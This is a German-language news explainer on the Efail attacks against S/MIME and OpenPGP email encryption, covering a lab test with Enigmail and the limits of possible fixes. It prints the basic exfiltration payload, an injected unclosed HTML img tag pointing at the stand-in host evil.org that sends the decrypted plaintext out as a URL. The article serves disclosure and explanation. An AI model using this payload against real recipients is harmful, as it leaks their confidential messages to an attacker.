PGP und S/MIME: So funktioniert Efail

Die Angriffe auf verschlüsselte E-Mails mit S/MIME und OpenPGP lassen sich eigentlich ganz einfach erklären. Wenn man sie einmal verstanden hat, weiß man auch, warum das mit dem Fixen nicht ganz so einfach ist.

In Pocket speichern vorlesen Druckansicht 548 Kommentare lesen
PGP und S/MIME: So funktioniert #efail
Lesezeit: 6 Min.
Inhaltsverzeichnis

Ein Forscherteam rund um Sebastian Schinzel hat erfolgreiche Angriffe gegen verschlüsselt verschickte E-Mails demonstriert. Dabei gelangt der Angreifer in den Besitz zumindest eines Teils des Klartexts der Mails. Betroffen sind die beiden am weitesten verbreiteten Standards für E-Mail-Verschlüsselung S/MIME und OpenPGP – und in der ein oder anderen Form nahezu alle E-Mail-Programme. Die wichtigste Voraussetzung für einen erfolgreichen Angriff ist, dass der Angreifer die verschlüsselte Mail unterwegs abfangen und manipulieren kann. Das dürfte in vielen Fällen zutreffen, in denen die Ende-zu-Ende-Verschlüsselung von PGP oder S/MIME eigentlich Schutz bieten soll.

Das grundsätzliche Problem der E-Mail-Verschlüsselung ist die Tatsache, dass die E-Mails nicht oder zumindest nicht ausreichend gegen solche Manipulationen gesichert sind. So kann der Angreifer die Mail derart verändern, dass der Mail-Client beim Anzeigen der entschlüsselten Mail die eigentlich geheimen Informationen an Dritte weitergibt. Der Angreifer knackt also nicht die Verschlüsselung und er gelangt auch nicht in den Besitz geheimer Schlüssel.

Das in einer PGP-Mail verschickte, geheime Passwort landet auf unserem improvisierten Server.

Efail und die mangelhafte Integritätssicherung treffen sowohl S/MIME als auch PGP an einem wunden Punkt – allerdings in unterschiedlichem Ausmaß. Am einfachsten lässt sich das Problem mit S/MIME illustrieren.

Eine S/MIME-Mail enthält den verschlüsselten Text als MIME-Anhang. Der Angreifer fängt diese MIME-Mail ab und fügt jeweils einen eigenen MIME-Anhang davor und dahinter ein, bevor er sie an den Empfänger weiter leitet. Der erste eingefügte Teil hat etwa den folgenden Inhalt:

<img src='http://evil.org/?

Man beachte das geöffnete aber nicht geschlossene Anführungszeichen, dessen Gegenpart der hintere Anhang liefert:

'>

Beim Anzeigen der Mail passiert das Folgende: Der E-Mail-Client entschlüsselt den S/MIME-Teil – etwa zu "STRENG_GEHEIMER_TEXT" – und setzt aus allen drei Teilen ein HTML-Dokument zusammen. Um das anzuzeigen ruft er die URL

http://evil.org/?STRENG_GEHEIMER_TEXT

auf. Damit landet der geheime Klartext beim Angreifer. Dieses Angriffsszenario ließ sich übrigens eins zu eins auf OpenPGP übertragen. In einem einfachen Test unter Laborbedingungen mit Enigmail Version 1.9.7 kam der exfiltrierte Klartext der geheimen Mail tatsächlich auf unserem Test-Server an. Für diesen Test haben wir das Nachladen von Bildern explizit gestattet. Die auf Ubuntu aktuelle Version Enigmail 1.9.9 zeigte bei diesem einfachen Angriff nur eine Fehlermeldung an.

Die Entwickler bessern nach: Mit Enigmail 1.9.9 scheiterte zumindest dieser simple Angriff.

Es gibt zwei Ansätze, dieses Problem zu entschärfen: Man schaltet das Nachladen von Bildern ab und die Entwickler sorgen für eine strikte Trennung der E-Mail-Anhänge, damit sich deren Inhalte nicht gegenseitig beeinflussen. Beide Ansätze doktorn nur an Symptomen herum, ohne das grundsätzliche Problem zu fixen. So zeigen Schinzel et al. bereits in ihrem Paper zu Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels (PDF) ausgefeiltere Angriffstechniken.

Neben dem einfachen Nachladen von Bildern stellen sie eine Reihe von anderen Kanälen vor, über die ein eingeschleuster Nachrichtenteil geheime Informationen verraten könnte. Die Forscher sprechen von "Exfiltration Gadgets", die sie in die Mails einschleusen. Das komplette Abschalten von HTML dürfte allerdings die meisten davon still schalten. Doch die Hand ins Feuer legen, dass da nicht doch noch was geht, möchte ich zumindest nicht.

Efail - Lücken in der E-Mail-Verschlüsselung

Weder S/MIME noch OpenPGP können die Sicherheit von verschlüsselt verschickten Nachrichten ausreichend garantieren, wie Forscher entdeckt haben. Nahezu alle Programme sind von dem Problem betroffen.

Auch auf eine strikte Separation der einzelnen Nachrichtenteile haben die Forscher eine Antwort parat: Sie demonstrieren, dass sie ihre Exfiltration Gadgets auch in den Cipher-Text einschleusen können. Das erfordert deutlich mehr Aufwand und dabei geht auch ein Teil der Nachricht kaputt. Doch Schinzel et al konnten demonstrieren, dass sie mit ihren eingeschleusten Gadgets trotzdem Teile der Nachricht exfiltieren können.

Das liegt daran, dass die zur Verschlüsselung eingesetzte Blockchiffre nicht ausreichend gegen Manipulation gesichert ist. Es ist bereits lange bekannt, dass AES sowohl im Cipher Block Chaining Modus (CBC, S/MIME) als auch im Cipher Feedback Mode (CFB) von OpenPGP dafür anfällig sind. So gelang es den Forschern sowohl bei S/MIME als auch – mit etwas mehr Aufwand – bei OpenPGP-Nachrichten Exfiltration Gadgets in den Ciphertext zu schmuggeln. Weitere Details dazu erläutert das Efail-Paper.

Was man eigentlich haben möchte, ist ein expliziter Schutz verschlüsselter Nachrichten gegen nachträgliche Manipulation. Und da kommen wir zum positiven Teil: Während S/MIME in dieser Hinsicht völlig blank ist, hat OpenPGP das im Prinzip bereits: Der Modification Detection Code (MDC) soll vor genau solchen Angriffen durch Manipulationen schützen.

Das Problem dabei: Längst nicht alle OpenPGP-Implementierungen nutzen die. Und selbst wenn MDCs zum Einsatz kommen, kann sie ein Angreifer beim derzeitigen Stand der Dinge relativ leicht umgehen. Im einfachsten Fall entfernt er die MDCs und der Angriff funktioniert wie zuvor. Oder er lebt mit einem kaputten MDC. Der Anwender erhält dann zwar eine Warnung, aber in vielen Fällen versucht der Mail-Client trotzdem, die Nachricht darzustellen und exfiltriert dabei Geheimtext.

In wie weit sich Efail richtig fixen lässt, hängt also maßgeblich davon ab, ob es gelingt, verschlüsselte E-Mails ausreichend gegen Manipulationen zu sichern. Für S/MIME gibt es dazu bislang nicht einmal Ansätze. Das bedeutet, dass man damit rechnen sollte, dass schnelle Fixes das Problem nicht wirklich lösen werden.

Bei OpenPGP ist die Situation nicht ganz so hoffnungslos. Zum einen gibt es bereits Versionen etwa von Enigmail, die die aktuellen Efail-Angriffe unmöglich machen. Zum Anderen kann man hoffen, dass die Entwickler jetzt mit Hochdruck daran arbeiten, die Integritätssicherung zu verbessern. GnuPG-Autor Werner Koch hat dazu bereits moderne Konzepte für Authenticated Encryption in Aussicht gestellt. (ju)